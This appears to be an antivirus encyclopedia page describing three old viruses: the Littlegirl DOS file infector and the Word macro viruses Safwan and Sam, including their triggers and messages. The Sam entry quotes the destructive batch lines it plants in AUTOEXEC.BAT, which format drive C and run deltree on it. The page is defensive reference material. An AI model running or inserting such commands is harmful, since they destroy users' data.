Virus Database

Littlegirl Family

Description Littlegirl Family

These are very dangerous memory resident parasitic viruses. They hook INT 21h and then write themselves to the end of COM and EXE files that are executed or opened. Sometimes they overwrite the files with the string:
File was detroyed by virus Little girl ver 2.00

They also contain the text "COMEXE".

Check other viruses! Be aware! Use Antiviral Software

Macro.Word.Safwan

Description Macro.Word.Safwan

This virus contains two macros in NORMAL.DOT: FileOpen, System32. In documents it contains one macro AutoOpen. It infects the global macros area and documents on opening (AutoOpen, FileOpen). AutoOpen in NORMAL.DOT has the name System32.
On October 10 it displays the MessageBox:
Happy Birthday
Is it your birthday today?

Macro.Word.Sam

Description Macro.Word.Sam

This is a very dangerous Chinese specific encrypted macro-virus. It contains seven macros: AutoOpen, AutoExec, AutoNew, FileSaveAs, ToolsMacro, FileTemplates, and Monday.
The virus infects the system and documents upon AutoNew, AutoOpen and FileSaveAs calls. It contains the following comments:
Created by Samuel Lin
Latest Date Feb 8 '97

On Mondays at 10:00, the virus overwrites the C:AUTOEXEC.BAT file with the following commands:
@echo off
cls
echo HAVE A GOOD TIME
echo --Taiwan Dark Monday--
echo y|format c: /u /v:MONDAY >nul
deltree /y c: >nul

Then it displays the MessageBox:
Taiwan Dark Monday
Today is Monday, do you work hard?
It's tea time now!
Let's go out and have some funall

On Mondays with the date 13t, it deletes the C:WINDOWS*.INI files and displays the following Message Box:
It Is Dark Monday...

On Mondays on any another date, the virus clears the contents of the current document and displays the following Message Box:
Taiwan Dark Monday
Today is Monday, did you work hard?
Let's take a rest and have some fun... :-)

Upon FileTemplates calls, the virus erases the current document and displays the following Message Box:
Taiwan Dark Monday
Go ahead! Make my day! ! !

It then inserts the text "TAIWAN DARK MONDAY" into the current document and prints it.
Upon ToolsMacro calls, the virus sets the password "Samuel" to the current document, then displays the following Message Box:
Taiwan Dark Monday
You may insert password to access here... ^_^

and waits for "Samuel" input. In case of wrong string, the virus displays:
Taiwan Dark Monday
WRONG PASSWORD!!!
You don't have right to execute this macro command!! :P
Access Denied!!!

Home